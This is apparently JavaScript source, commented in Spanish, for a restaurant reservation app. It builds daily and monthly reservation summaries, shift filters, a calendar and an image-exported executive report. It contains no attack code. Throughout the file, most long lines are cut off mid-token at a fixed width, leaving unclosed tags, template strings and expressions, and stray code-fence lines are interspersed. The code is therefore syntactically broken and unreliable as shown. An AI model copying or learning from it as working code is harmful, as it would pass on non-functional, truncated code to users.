  sobre: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width
  alerta: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-widt
  subir: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width
  mesa: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width=
  corona: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-widt
  billete: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-wid
  ticket: '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-widt
};

// ===== Componente reutilizable "Resumen del día" — usado en Solicitudes y
// Por día. Recibe todos los números ya calculados por cada pantalla; no
// vuelve a calcular nada por su cuenta, solo arma el HTML. =====
// opts = {
//   fechaObj, unidadSingular, unidadPlural,     // ej. "Solicitud"/"Solicitudes"
//   totalCount, totalPax,
//   panelTitulo, filas: [{icono, color, label, count, pax}],  // pax puede ser n
//   mesaGeneral: {count, pax}, mesaVip: {count, pax},
//   extraPanelTitulo, extraFilasHtml,           // panel opcional adicional (ej.
// }
function filaRddHtml(f){
  return `
    <div class="rdd-row">
      <div class="rdd-row-icon ${f.color}">${RDD_ICONS[f.icono]}</div>
      <div class="rdd-row-label">${f.label}</div>
      <div class="rdd-row-val ${f.count===0?'cero':''}">${f.count}</div>
      <div class="rdd-row-val ${(!f.pax)?'cero':''}">${f.pax==null?'—':f.pax}</di
    </div>`;
```

```
}
function renderResumenDiaV2(opts){
  const d = opts.fechaObj;
  const fechaCorta = `${DIAS_CORTO[d.getDay()]}, ${d.getDate()} ${MESES_CORTO[d.g
  const fechaLarga = `${DIAS[d.getDay()]} ${d.getDate()} de ${MESES[d.getMonth()]
  const unidadTotal = opts.totalCount === 1 ? opts.unidadSingular : opts.unidadPl

  const filasHtml = (opts.filas||[]).map(filaRddHtml).join('');

  const mesaGridHtml = (opts.mesaGeneral || opts.mesaVip) ? `
    <div class="rdd-panel">
      <div class="rdd-panel-title" style="margin-bottom:10px;">Preferencia de mes
      <div class="rdd-mesa-grid">
        <div class="rdd-mesa-card">
          <div class="rdd-mesa-head">${RDD_ICONS.mesa}<span>Mesa general</span></
          <div class="rdd-mesa-nums">
            <div>${opts.mesaGeneral.count}<small>${opts.mesaGeneral.count===1?'so
            <div>${opts.mesaGeneral.pax}<small>pax</small></div>
          </div>
        </div>
        <div class="rdd-mesa-card">
          <div class="rdd-mesa-head">${RDD_ICONS.corona}<span>Mesa VIP</span></di
          <div class="rdd-mesa-nums">
            <div>${opts.mesaVip.count}<small>${opts.mesaVip.count===1?'solicitud'
            <div>${opts.mesaVip.pax}<small>pax</small></div>
          </div>
        </div>
      </div>
    </div>` : '';

  const extraPanelHtml = opts.extraFilasHtml ? `
    <div class="rdd-panel">
      <div class="rdd-panel-title" style="margin-bottom:8px;">${opts.extraPanelTi
      ${opts.extraFilasHtml}
    </div>` : '';

  const mainPanelHtml = opts.filas ? `
    <div class="rdd-panel">
      <div class="rdd-panel-head">
        <span class="rdd-panel-title">${opts.panelTitulo}</span>
        <div class="rdd-panel-cols"><span>${opts.colLabel1||'Reservas'}</span><sp
      </div>
      ${filasHtml}
    </div>` : '';

  // Paneles adicionales de ingresos, cada uno con su propio título — para
  // que Abonos (por mesa/reserva) y Cover (por persona) queden separados
```

```
  // visualmente y no se mezclen en una sola lista, ya que son dos cosas
  // distintas con unidades distintas.
  const panelesExtraHtml = (opts.panelesExtra||[]).map(p => `
    <div class="rdd-panel">
      <div class="rdd-panel-title" style="margin-bottom:8px;">${p.titulo}</div>
      ${p.filasHtml}
    </div>`).join('');

  return `
    <div class="rdd">
      <div class="rdd-header">
        <h2 class="rdd-titulo">Resumen del día</h2>
        <div class="rdd-fecha-pill">${RDD_ICONS.calendario}<span>${fechaCorta}</s
      </div>

      <div class="rdd-cards-top">
        <div class="rdd-card">
          <div class="rdd-card-icon">${RDD_ICONS.documento}</div>
          <div>
            <div class="rdd-card-num">${opts.totalCount}</div>
            <div class="rdd-card-label">${unidadTotal}</div>
          </div>
        </div>
        <div class="rdd-card">
          <div class="rdd-card-icon">${RDD_ICONS.personas}</div>
          <div>
            <div class="rdd-card-num">${opts.totalPax}</div>
            <div class="rdd-card-label">${opts.totalPax===1?'Persona':'Personas'}
          </div>
        </div>
      </div>

      ${mainPanelHtml}
      ${mesaGridHtml}
      ${extraPanelHtml}
      ${panelesExtraHtml}

      <div class="rdd-total">
        <div class="rdd-total-label">Total del día<small>${fechaLarga}</small></d
        <div class="rdd-total-divider"></div>
        <div class="rdd-total-num">${opts.totalCount}<small>${unidadTotal.toUpper
        <div class="rdd-total-divider"></div>
        <div class="rdd-total-num">${opts.totalPax}<small>PAX</small></div>
      </div>
    </div>
  `;
}
```

```
function fechaISO(d){
  return d.getFullYear()+'-'+String(d.getMonth()+1).padStart(2,'0')+'-'+String(d.
}

/* ============ RENDER: HEADER ============ */
function renderHeader(){
  const d = fechaActual;
  document.getElementById('dateLabel').innerHTML =
    `${DIAS[d.getDay()]} ${d.getDate()} de ${MESES[d.getMonth()]}<span class="gru

  const grupo = HORARIOS[grupoDeFecha(d)];
  // El filtro de turno SIEMPRE se puede usar para ver lo que ya existe,
  // sin importar si ese turno está prendido o apagado en el horario de
  // atención configurado — "apagado" solo bloquea que un CLIENTE pida
  // una reserva nueva ahí (eso se valida en solicitud.html), no que el
  // staff pueda filtrar y ver reservas de ese turno en "Por día".
  // "cena1"/"cena2" no son un turno real del horario — usan el mismo
  // cfg que "cena" (ver turnoRealDesdeActivo).
  const pillHTML = ([key,label])=>{
    const cfg = key==='todos' ? {activo:true} : (grupo[turnoRealDesdeActivo(key)]
    const active = turnoActivo===key;
    return `<button class="turno-pill ${active?'active':''}" onclick="setTurno('$
      <span class="dot"></span>${label}
    </button>`;
  };
  // "Cena" se pinta aparte, en su propia fila (junto a Especiales/Bloquear
  // día), centrada arriba de Cena 1/Cena 2 — antes estaba metida en la
  // misma fila que los otros 5 botones y quedaba muy apretada.
  document.getElementById('turnoCenaBar').innerHTML = pillHTML(['cena','Total Cen
  const turnos = [['todos','Todos'], ['desayuno','Desayuno'],['almuerzo','Almuerz
  document.getElementById('turnosBar').innerHTML = turnos.map(pillHTML).join('');
  alinearBotonCena();
}
// Mide en vivo cuánto ocupan juntos los botones "Cena 1" y "Cena 2" en la
// fila de abajo, y le fija ESE mismo ancho al botón "Total Cena" de la
// fila de arriba — así queda exactamente del doble de ancho de uno solo,
// nunca más ancho, sin importar el tamaño de pantalla. Se recalcula en
// cada render y también si el teléfono gira/cambia de ancho.
function alinearBotonCena(){
  const slot = document.getElementById('turnoCenaBar');
  const barra = document.getElementById('turnosBar');
  if(!slot || !barra) return;
  requestAnimationFrame(()=>{
    const botones = barra.querySelectorAll('.turno-pill');
    // Los últimos dos botones de la fila de abajo son siempre Cena 1 y
    // Cena 2 (ver el array `turnos` en renderHeader) — si por alguna
```

```
    // razón no hay al menos 2, no se toca el ancho (queda el de CSS).
    if(botones.length < 2) return;
    const cena1 = botones[botones.length - 2];
    const cena2 = botones[botones.length - 1];
    const r1 = cena1.getBoundingClientRect();
    const r2 = cena2.getBoundingClientRect();
    const ancho = r2.right - r1.left;
    if(ancho > 0) slot.style.setProperty('--cena-slot-w', ancho + 'px');
  });
}
let _resizeTimerCena = null;
window.addEventListener('resize', ()=>{
  clearTimeout(_resizeTimerCena);
  _resizeTimerCena = setTimeout(alinearBotonCena, 150);
});

/* ============ RENDER: STATS ============ */
let filtroEspecialesPorDia = false;
// v6.40 — Filtro "Proceso comercial" en Reservas por día: muestra solo las
// reservas en negociación (estado proceso_comercial) y el calendario marca
// los días que las tienen. No toca ninguna otra lógica.
let filtroComercialPorDia = false;
let filtroEspecialesSolicitudes = false;
// v6.39 — Al entrar a un día desde el aviso "solicitudes atrasadas", la
// pantalla muestra SOLO las que siguen sin gestionar/aprobar de ese día
// (no las ya resueltas). Se apaga al cambiar de día o al tocar "Ver todas".
let filtroSoloAtrasadasSolicitudes = false;
// Filtro adicional por la fecha PARA LA QUE se pidió la reserva. No cambia
// fechaSolicitudes, que sigue representando el día EN QUE llegó la solicitud.
let filtroFechaReservaSolicitudes = '';
let filtroFechaReservaBorrador = '';
let calFiltroFechaReservaMes = new Date().getMonth();
let calFiltroFechaReservaAno = new Date().getFullYear();

function reservasDelTurno(){
  const iso = fechaISO(fechaActual);
  // La vista "por día" solo muestra reservas ya resueltas: no incluye las que
  // siguen en el flujo de solicitud/aprobación del cliente (esas viven en
  // la pantalla "Solicitudes" hasta que el cliente las apruebe).
  let rs = reservas.filter(r=>r.fecha===iso && r.estado!=='solicitud' && r.estado
  if(turnoActivo !== 'todos') rs = rs.filter(r=>reservaCoincideConTurnoActivo(r,
  if(filtroEspecialesPorDia) rs = rs.filter(r=>Number(r.pax)>=30);
  if(filtroComercialPorDia) rs = rs.filter(r=>r.estado==='proceso_comercial');
  return rs;
}

function toggleFiltroComercialDia(){
```

```
  filtroComercialPorDia = !filtroComercialPorDia;
  const b = document.getElementById('btnFiltroComercialDia');
  if(b) b.classList.toggle('activo', filtroComercialPorDia);
  renderAll();
}
function toggleFiltroEspecialesDia(){
  filtroEspecialesPorDia = !filtroEspecialesPorDia;
  document.getElementById('btnFiltroEspecialesDia').classList.toggle('activo', fi
  renderAll();
}

/* ============ CALENDARIO EMBEBIDO EN "POR DÍA" ============ */
let calInlineMes = fechaActual.getMonth();
let calInlineAno = fechaActual.getFullYear();
let calendarioInlineAbierto = true; // visible por defecto: lo primero que se ve

function toggleCalendarioPorDia(){
  calendarioInlineAbierto = !calendarioInlineAbierto;
  document.getElementById('calendarioInlineWrap').style.display = calendarioInlin
  if(calendarioInlineAbierto){
    // Al reabrirlo, lo centramos de nuevo en el día seleccionado actualmente.
    calInlineMes = fechaActual.getMonth();
    calInlineAno = fechaActual.getFullYear();
    renderCalendarioInline();
  }
}

function cambiarMesInline(delta){
  // El promotor no puede navegar el calendario — solo trabaja la fecha
  // de su evento, fija.
  if(usuarioActual && usuarioActual.rol === 'promotor') return;
  calInlineMes += delta;
  if(calInlineMes<0){calInlineMes=11; calInlineAno--;}
  if(calInlineMes>11){calInlineMes=0; calInlineAno++;}
  renderCalendarioInline();
}

// Resumen de TODO el mes que se está viendo en el calendario — se abre al
// tocar el nombre del mes ("Septiembre 2026"). Reutiliza las mismas
// tarjetas de Desayuno/Almuerzo/Cena/Total que ya se usan para el
// resumen de un solo día, solo que aquí se suman todas las fechas del
// mes en vez de una sola.
function verResumenMes(){
  const mesNombre = MESES[calInlineMes];
  const rsMes = reservas.filter(r => {
    if(!r.fecha) return false;
    const [y,m] = r.fecha.split('-').map(Number);
```

```
    return y===calInlineAno && (m-1)===calInlineMes
      && r.estado==='confirmada';
  });
  const porTurno = ['desayuno','almuerzo','cena'].map(t=>{
    const rs = rsMes.filter(r=>r.turno===t);
    return { turno:t, label:{desayuno:'Desayuno',almuerzo:'Almuerzo',cena:'Cena'}
  });
  const totalReservas = rsMes.length;
  const totalPax = rsMes.reduce((a,r)=>a+Number(r.pax||0),0);
  const diasConReservas = new Set(rsMes.map(r=>r.fecha)).size;

  document.getElementById('resumenMesContenido').innerHTML = `
    <div class="resumen-dia-turnos" style="margin-top:0;">
      <div class="resumen-dia-titulo">Resumen de ${mesNombre} ${calInlineAno}</di
      <div class="resumen-dia-fecha">${diasConReservas} día${diasConReservas===1?
      <div class="resumen-dia-grid">
        ${porTurno.map(t=>`
          <div class="resumen-dia-card">
            <div class="resumen-dia-card-label">${t.label}</div>
            <div class="resumen-dia-card-num">${t.pax}<span class="resumen-dia-ca
            <div class="resumen-dia-card-sub">${t.count} reserva${t.count===1?'':
          </div>`).join('')}
        <div class="resumen-dia-card total">
          <div class="resumen-dia-card-label">Total mes</div>
          <div class="resumen-dia-card-num">${totalPax}<span class="resumen-dia-c
          <div class="resumen-dia-card-sub">${totalReservas} reserva${totalReserv
        </div>
      </div>
    </div>`;
  document.getElementById('overlayResumenMes').classList.add('open');
}
function cerrarResumenMes(){
  document.getElementById('overlayResumenMes').classList.remove('open');
}

/* ================ INFORME EJECUTIVO MENSUAL ================ */
// Todo esto es de SOLO LECTURA sobre el array `reservas` que ya mantiene
// la app sincronizado con Firestore — no se hace ninguna consulta nueva
// ni ninguna escritura. El mes que se usa es el que esté abierto en el
// calendario de "Por día" (calInlineMes/calInlineAno).

const IE_TURNO_LABEL = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'};
const IE_TURNO_ICONO = {desayuno:'☕', almuerzo:'🍴', cena:'🍽'};
const IE_TURNO_COLOR = {desayuno:'#ede6d6', almuerzo:'#c1603f', cena:'#d9a84e'};
// Orden de despliegue en la lista y en la dona — Cena primero (suele ser
// el turno con más peso), luego Almuerzo, luego Desayuno. Igual al orden
// de la cartelera de referencia.
```

```
const IE_TURNO_ORDEN = ['cena','almuerzo','desayuno'];
const IE_DIAS_SEMANA_LABEL = ['Domingo','Lunes','Martes','Miércoles','Jueves','Vi

// 1) Reservas del mes que cuentan para el reporte — misma regla que ya
// usa el resumen de "Por día" y el informe diario imprimible (no se
// inventa una regla nueva): fuera cancelada, solicitud, pendiente de
// aprobación y lista de espera.
function getMonthlyReservationData(ano, mes){
  return reservas.filter(r => {
    if(!r.fecha) return false;
    const [y,m] = r.fecha.split('-').map(Number);
    return y===ano && (m-1)===mes;
  });
}
function filterValidReservations(rs){
  return rs.filter(r => r.estado==='confirmada');
}
// El turno ya viene guardado en cada reserva (r.turno) — no se infiere
// por hora. Si alguna reserva vieja no lo trae, cae en "sin_clasificar"
// en vez de adivinar a cuál turno pertenece.
function classifyServicePeriod(r){
  return IE_TURNO_LABEL[r.turno] ? r.turno : 'sin_clasificar';
}

function numCO(n, decimales){
  return Number(n).toLocaleString('es-CO', {minimumFractionDigits:decimales||0, m
}

function calculateMonthlyMetrics(rsMes){
  const totalPax = rsMes.reduce((a,r)=>a+Number(r.pax||0),0);
  const totalReservas = rsMes.length;
  const diasConReservas = new Set(rsMes.map(r=>r.fecha)).size;
  const paxPromedio = totalReservas ? totalPax/totalReservas : 0;
  return { totalPax, totalReservas, diasConReservas, paxPromedio };
}

function groupPaxByDate(rsMes, ano, mes){
  const diasEnMes = new Date(ano, mes+1, 0).getDate();
  const porDia = [];
  for(let d=1; d<=diasEnMes; d++){
    const iso = `${ano}-${String(mes+1).padStart(2,'0')}-${String(d).padStart(2,'
    const rsDia = rsMes.filter(r=>r.fecha===iso);
    porDia.push({
      dia: d, iso,
      pax: rsDia.reduce((a,r)=>a+Number(r.pax||0),0),
      reservas: rsDia.length,
      tieneEspecial: rsDia.some(r=>Number(r.pax)>=30),
```

```
    });
  }
  return porDia;
}

function groupPaxByWeekday(rsMes){
  const acumulado = IE_DIAS_SEMANA_LABEL.map((label,i)=>({dow:i, label, pax:0, fe
  const totalPax = rsMes.reduce((a,r)=>a+Number(r.pax||0),0);
  rsMes.forEach(r=>{
    const [y,m,d] = r.fecha.split('-').map(Number);
    const dow = new Date(y, m-1, d, 12).getDay();
    acumulado[dow].pax += Number(r.pax||0);
    acumulado[dow].fechas.add(r.fecha);
  });
  return acumulado.map(a => ({
    label: a.label,
    pax: a.pax,
    fechasOperadas: a.fechas.size,
    promedio: a.fechas.size ? a.pax/a.fechas.size : 0,
    pct: totalPax ? (a.pax/totalPax*100) : 0,
  }));
}

// Picos: entre los 5 días de más pax del mes, o cualquier día con una
// reserva especial (30+ pax) — no hay un "umbral de alta demanda"
// configurado aparte en la app, así que se usa exactamente este criterio
// de respaldo que pide el documento.
function identifyDemandPeaks(porDia){
  const conActividad = porDia.filter(d=>d.pax>0).slice().sort((a,b)=>b.pax-a.pax)
  const top5 = new Set(conActividad.slice(0,5).map(d=>d.iso));
  porDia.forEach(d => { d.esPico = top5.has(d.iso) || d.tieneEspecial; });
  return porDia.filter(d=>d.esPico);
}

function generateExecutiveInsights(porServicioOrdenado, porDiaSemana, metrics){
  const insights = [];
  if(porServicioOrdenado.length && metrics.totalPax>0){
    const principal = porServicioOrdenado[0];
    insights.push(`${principal.turno==='almuerzo'?'El almuerzo':principal.turno==
  } else {
    insights.push('Todavía no hay suficientes datos este mes para identificar un
  }
  const diasOrdenados = porDiaSemana.filter(d=>d.pax>0).slice().sort((a,b)=>b.pax
  if(diasOrdenados.length){
    const top = diasOrdenados.slice(0, Math.min(3, diasOrdenados.length)).map(d=>
    insights.push(`Los mayores picos de demanda se concentran principalmente en $
  } else {
```

```
    insights.push('Todavía no hay suficientes datos este mes para identificar los
  }
  insights.push('La operación debe priorizar personal, inventario y montaje duran
  return insights;
}

function calcularOportunidad(porServicio, porDiaSemana, metrics){
  const cena = porServicio.find(s=>s.turno==='cena');
  const almuerzo = porServicio.find(s=>s.turno==='almuerzo');
  const desayuno = porServicio.find(s=>s.turno==='desayuno');
  const viesabPct = ['Viernes','Sábado'].reduce((a,l)=>{
    const d = porDiaSemana.find(x=>x.label===l); return a + (d?d.pax:0);
  },0) / (metrics.totalPax||1) * 100;
  const diasActivos = porDiaSemana.filter(d=>d.pax>0);
  const concentradoEnPocos = diasActivos.length>0 && diasActivos.length<=3;

  if(cena && cena.pct > 65){
    return 'Fortalecer almuerzos corporativos y explorar estrategias para los hor
  }
  if(almuerzo && almuerzo.pct < 15 && metrics.totalPax>0){
    return 'Impulsar el almuerzo con convenios empresariales, grupos turísticos o
  }
  if(desayuno && desayuno.pct < 10 && metrics.totalPax>0){
    return 'Recordar que el desayuno debe medirse por fin de semana operativo, no
  }
  if(viesabPct > 55){
    return 'Explorar estrategias para aumentar reservas de domingo a jueves — vie
  }
  if(concentradoEnPocos){
    return 'Equilibrar la demanda mediante campañas en las fechas de menor ocupac
  }
  return 'La demanda del mes está razonablemente distribuida — mantener el nivel
}

let ieMesActual = null; // {ano, mes} del último informe generado, para el nombre

// Ahora se genera desde Config → Informes administrativos (no desde "Por
// día") para que solo lo pueda usar quien tenga acceso a esa sección —
// se le pide explícitamente el mes en vez de tomarlo del calendario de
// "Por día", que era de acceso general.
async function generarInformeEjecutivoMensualDesdeConfig(){
  const valor = document.getElementById('fInformeEjecutivoMes').value; // "YYYY-M
  if(!valor){
    alert('Elige el mes del que quieres generar el informe.');
    return;
  }
  const [anoStr, mesStr] = valor.split('-');
```

```
  await generarInformeEjecutivoMensual(Number(anoStr), Number(mesStr)-1);
}

async function generarInformeEjecutivoMensual(anoParam, mesParam){
  const overlay = document.getElementById('ieOverlay');
  const toolbar = document.getElementById('ieToolbar');
  const carga = document.getElementById('ieEstadoCarga');
  const poster = document.getElementById('iePoster');
  toolbar.style.display = 'none';
  poster.style.display = 'none';
  poster.parentElement.style.display = '';
  document.getElementById('ieImagenGuardarWrap').style.display = 'none';
  carga.style.display = 'block';
  carga.textContent = 'Generando informe ejecutivo…';
  overlay.classList.add('open');

  // Pequeño respiro para que se pinte el "Generando..." antes de trabajar
  // (el cálculo es local y rápido, pero así no se siente congelado).
  await new Promise(r => setTimeout(r, 30));

  try{
    const ano = anoParam!=null ? anoParam : calInlineAno;
    const mes = mesParam!=null ? mesParam : calInlineMes;
    const rsMesTodas = getMonthlyReservationData(ano, mes);
    const rsMes = filterValidReservations(rsMesTodas);

    if(rsMes.length === 0){
      carga.textContent = 'No existen reservas válidas para generar el informe de
      toolbar.style.display = 'none';
      return;
    }

    const metrics = calculateMonthlyMetrics(rsMes);
    const porDia = groupPaxByDate(rsMes, ano, mes);
    identifyDemandPeaks(porDia);
    const porDiaSemana = groupPaxByWeekday(rsMes);

    const sinClasificar = rsMes.filter(r=>classifyServicePeriod(r)==='sin_clasifi
    const porServicio = IE_TURNO_ORDEN.map(t=>{
      const rs = rsMes.filter(r=>classifyServicePeriod(r)===t);
      const pax = rs.reduce((a,r)=>a+Number(r.pax||0),0);
      return { turno:t, label:IE_TURNO_LABEL[t], pax, reservas:rs.length, pct: me
    });
    const porServicioOrdenado = porServicio.slice().sort((a,b)=>b.pax-a.pax);
    const mayorDemanda = porServicioOrdenado[0];
    const menorParticipacion = porServicioOrdenado[porServicioOrdenado.length-1];
```

```
    const insights = generateExecutiveInsights(porServicioOrdenado, porDiaSemana,
    const oportunidad = calcularOportunidad(porServicio, porDiaSemana, metrics);

    // Reservas especiales (30+ personas) del mes — mismo umbral que ya usa
    // el resto de la app (⭐ en el calendario, filtro "Especiales (30+)").
    const rsEspeciales = rsMes.filter(r=>Number(r.pax)>=30);
    const especiales = {
      count: rsEspeciales.length,
      pax: rsEspeciales.reduce((a,r)=>a+Number(r.pax||0),0),
      pctPax: metrics.totalPax ? (rsEspeciales.reduce((a,r)=>a+Number(r.pax||0),0
    };

    ieMesActual = {ano, mes};
    renderExecutiveReport({ano, mes, metrics, porDia, porDiaSemana, porServicio,

    carga.style.display = 'none';
    poster.style.display = 'flex';
    toolbar.style.display = 'flex';
  } catch(err){
    console.error('Error generando informe ejecutivo:', err);
    carga.textContent = 'No fue posible generar el informe. Verifique los datos e
    toolbar.style.display = 'none';
  }
}

// Dibuja la dona de participación por turno en un <canvas> de verdad
// (con ctx.arc, no CSS) y la devuelve como una imagen (data URL) lista
// para meter en un <img>. Todos los números que entran aquí ya vienen
// validados (pax >= 0, turno filtrado a los que tienen pax > 0), así que
// no hay riesgo de pasarle un valor no numérico al canvas.
function dibujarDonaComoImagen(porServicio, totalPax){
  const size = 260; // se muestra a 130px en pantalla, el doble para que se vea n
  const canvas = document.createElement('canvas');
  canvas.width = size; canvas.height = size;
  const ctx = canvas.getContext('2d');
  const cx = size/2, cy = size/2, radio = size/2 - 20, grosor = 22;
  ctx.lineWidth = grosor;
  ctx.lineCap = 'butt';

  // Fondo del anillo completo
  ctx.beginPath();
  ctx.arc(cx, cy, radio, 0, Math.PI*2);
  ctx.strokeStyle = '#242b35';
  ctx.stroke();

  const total = Number(totalPax) || 0;
  if(total > 0){
```

```
    let anguloActual = -Math.PI/2; // arranca arriba, como las 12 en punto
    porServicio.filter(s => Number(s.pax) > 0).forEach(s => {
      const fraccion = Number(s.pax) / total;
      if(!isFinite(fraccion) || fraccion <= 0) return;
      const anguloFinal = anguloActual + fraccion * Math.PI * 2;
      ctx.beginPath();
      ctx.arc(cx, cy, radio, anguloActual, anguloFinal);
      ctx.strokeStyle = IE_TURNO_COLOR[s.turno] || '#c9a15a';
      ctx.stroke();
      anguloActual = anguloFinal;
    });
  }
  return canvas.toDataURL('image/png');
}

function renderExecutiveReport(d){
  const poster = document.getElementById('iePoster');
  const mesNombre = MESES[d.mes].toUpperCase();
  const mesNombreCap = MESES[d.mes].charAt(0).toUpperCase()+MESES[d.mes].slice(1)
  const ahora = new Date();
  const corte = `${String(ahora.getDate()).padStart(2,'0')}/${String(ahora.getMon

  // ---- Dona de participación por turno ----
  // Dibujada en un <canvas> normal y convertida a imagen — ni SVG ni
  // conic-gradient, que son justo los dos trucos con los que la
  // herramienta que genera la imagen final (html2canvas) ha venido
  // fallando dentro del navegador de WhatsApp. Un <canvas> convertido a
  // <img> es lo más compatible que existe: html2canvas simplemente copia
  // la imagen tal cual, sin tener que reinterpretar nada.
  const donaImgSrc = dibujarDonaComoImagen(d.porServicio, d.metrics.totalPax);
  const donaHtml = `<img src="${donaImgSrc}" style="position:absolute; inset:0; w

  const servicioHtml = d.porServicio.map(s => `
    <div class="ie-servicio-fila">
      <div class="ie-servicio-icon">${IE_TURNO_ICONO[s.turno]}</div>
      <div class="ie-servicio-info">
        <div class="ie-servicio-nombre">${s.label.toUpperCase()}</div>
        <div class="ie-servicio-barra-bg"><div class="ie-servicio-barra" style="w
        <div class="ie-servicio-cifras">${numCO(s.pax)} pax  ·  ${numCO
      </div>
    </div>`).join('');

  const maxPaxDia = Math.max(1, ...d.porDia.map(x=>x.pax));
  const barrasHtml = d.porDia.map(x => `
    <div class="ie-barra-col">
      ${x.pax>0?`<div class="ie-barra-num">${numCO(x.pax)}</div>`:''}
      <div class="ie-barra ${x.esPico?'pico':''}" style="height:${x.pax>0 ? Math.
```

```
    <div class="ie-barra-dia">${String(x.dia).padStart(2,'0')}</div>
  </div>`).join('');

const incluyeDesayuno = d.porServicio.some(s=>s.turno==='desayuno' && s.pax>0);

const lecturaHtml = d.insights.map((texto,i) => `
  <div class="ie-lectura-item">
    <div class="ie-lectura-num">${i+1}</div>
    <div class="ie-lectura-texto">${escapeHtml(texto)}</div>
  </div>`).join('');

poster.innerHTML = `
  <div class="ie-header">
    <div class="ie-header-marca">BUENA MESA<br>GRANDES<br>HISTORIAS</div>
    <div class="ie-titulo-wrap">
      <div class="ie-marca-central">LA MATRIARCA</div>
      <div class="ie-titulo">COMPORTAMIENTO DE RESERVAS · ${mesNombre} ${d.ano}
      <div class="ie-subtitulo">Corte al ${corte} · Reservas registradas para t
    </div>
    <div class="ie-header-tag">TRADICIÓN QUE<br>SIEMPRE RESERVA<br>UN LUGAR</di
  </div>

  <div class="ie-kpis">
    <div class="ie-kpi"><div class="ie-kpi-icon">👥</div><div><div class="ie-kp
    <div class="ie-kpi"><div class="ie-kpi-icon">📋</div><div><div class="ie-kp
    <div class="ie-kpi"><div class="ie-kpi-icon">📅</div><div><div class="ie-kp
    <div class="ie-kpi"><div class="ie-kpi-icon">⚖</div><div><div class="ie-kpi
    <div class="ie-kpi-quote">"Más que reservas, personas que vuelven."</div>
  </div>

  <div class="ie-main-row">
    <div class="ie-panel ie-panel-servicio">
      <div class="ie-panel-titulo">PARTICIPACIÓN POR TIEMPO DE SERVICIO</div>
      <div class="ie-dona-row">
        <div class="ie-dona">${donaHtml}<div class="ie-dona-hueco"><b>${numCO(d
        <div class="ie-servicio-lista">${servicioHtml}</div>
      </div>
      <div class="ie-badges-row">
        <div class="ie-badge ie-badge-mayor">🏆 Mayor demanda: ${d.mayorDemanda
        <div class="ie-badge ie-badge-menor">↓ Menor participación: ${d.menorPa
      </div>
      ${incluyeDesayuno ? `<div class="ie-nota-desayuno">ℹ️ IMPORTANTE: El desa
    </div>
    <div class="ie-panel ie-panel-diario">
      <div class="ie-panel-titulo">COMPORTAMIENTO DIARIO · PAX RESERVADOS</div>
      <div class="ie-chart-leyenda">● Pax reservados por fecha</div>
      <div class="ie-barras">${barrasHtml}</div>
```

```
      </div>
    </div>

    <div class="ie-especiales-row">
      <div class="ie-especiales-titulo">⭐ RESERVAS ESPECIALES (30+ PERSONAS)</di
      <div class="ie-especiales-cards">
        <div class="ie-especiales-card">
          <div class="ie-especiales-num">${numCO(d.especiales.count)}</div>
          <div class="ie-especiales-label">RESERVAS ESPECIALES</div>
        </div>
        <div class="ie-especiales-card">
          <div class="ie-especiales-num">${numCO(d.especiales.pax)}</div>
          <div class="ie-especiales-label">PAX EN RESERVAS ESPECIALES</div>
        </div>
        <div class="ie-especiales-card">
          <div class="ie-especiales-num">${numCO(d.especiales.pctPax,1).replace('
          <div class="ie-especiales-label">DEL TOTAL DE PAX DEL MES</div>
        </div>
      </div>
    </div>
  `;
}

function cerrarInformeEjecutivo(){
  document.getElementById('ieOverlay').classList.remove('open');
  document.getElementById('ieImagenGuardarWrap').style.display = 'none';
  document.getElementById('iePoster').parentElement.style.display = '';
}

// Los navegadores integrados (el de WhatsApp, Instagram, etc.) muchas
// veces NO dejan que una página "descargue" un archivo directamente —
// el botón de descarga simplemente no hace nada, así el código esté
// bien. Esto es una alternativa que sí funciona ahí: se genera la
// imagen y se muestra como una foto normal en la pantalla, para que el
// usuario la guarde con el gesto nativo de "mantener presionado" —
// eso funciona en cualquier navegador, integrado o no.
// Intenta capturar la cartelera en buena calidad; si falla (por ejemplo,
// por falta de memoria dentro de un navegador integrado como el de
// WhatsApp, que es más limitado que Safari), reintenta una vez a menor
// calidad antes de rendirse. Así se recupera sola en la mayoría de los
// casos en vez de fallar directo.
async function ieCapturarCanvas(poster, scalePreferida, bgColor){
  const fondo = bgColor || '#0d1420';
  if(document.fonts && document.fonts.ready) await document.fonts.ready;
  try{
    return await html2canvas(poster, {scale:scalePreferida, backgroundColor:fondo
  } catch(errPrimero){
```

```
    console.error('Primer intento de captura falló, reintentando a menor calidad:
    try{
      return await html2canvas(poster, {scale:1, backgroundColor:fondo});
    } catch(errSegundo){
      console.error('Segundo intento también falló:', errSegundo);
      throw errSegundo;
    }
  }
}

// Descarga un <canvas> como archivo, preservando el nombre elegido.
// OJO: antes esto se hacía con canvas.toDataURL() + <a download>, pero
// Safari en iPhone no siempre respeta el nombre de archivo cuando el
// link apunta a un data: URI larguísimo (que es lo que da toDataURL) —
// en la práctica termina guardando el archivo con un nombre genérico
// ("app"), aunque el diálogo de descarga sí muestre el nombre correcto
// antes de tocar "Descargar". Usando un Blob + URL de objeto en vez de
// un data: URI, Safari sí preserva el nombre de forma confiable.
function descargarCanvasComoArchivo(canvas, nombreArchivo, tipo, calidad){
  return new Promise((resolve, reject) => {
    canvas.toBlob(blob => {
      if(!blob){ reject(new Error('No se pudo generar el archivo de imagen')); re
      const url = URL.createObjectURL(blob);
      const link = document.createElement('a');
      link.download = nombreArchivo;
      link.href = url;
      document.body.appendChild(link);
      link.click();
      link.remove();
      // Se libera el URL de objeto un momento después — hay que darle
      // tiempo al navegador a que empiece a leerlo antes de revocarlo.
      setTimeout(() => URL.revokeObjectURL(url), 30000);
      resolve();
    }, tipo, calidad);
  });
}
// Alternativa a "Imprimir / Guardar como PDF" — en iPhone, tocar
// window.print() abre el diálogo nativo de iOS que primero busca
// impresoras AirPrint cercanas (eso es lo que se demora, no el código de
// la app) antes de ofrecer "Guardar en Archivos". Esta opción se salta
// todo eso: captura el informe tal cual se ve (html2canvas) y arma un
// PDF real de verdad (jsPDF) en carta horizontal, cortando la captura en
// páginas — sin pasar por ningún diálogo del sistema. Sirve para
// cualquiera de los informes que comparten el overlay #overlayInforme
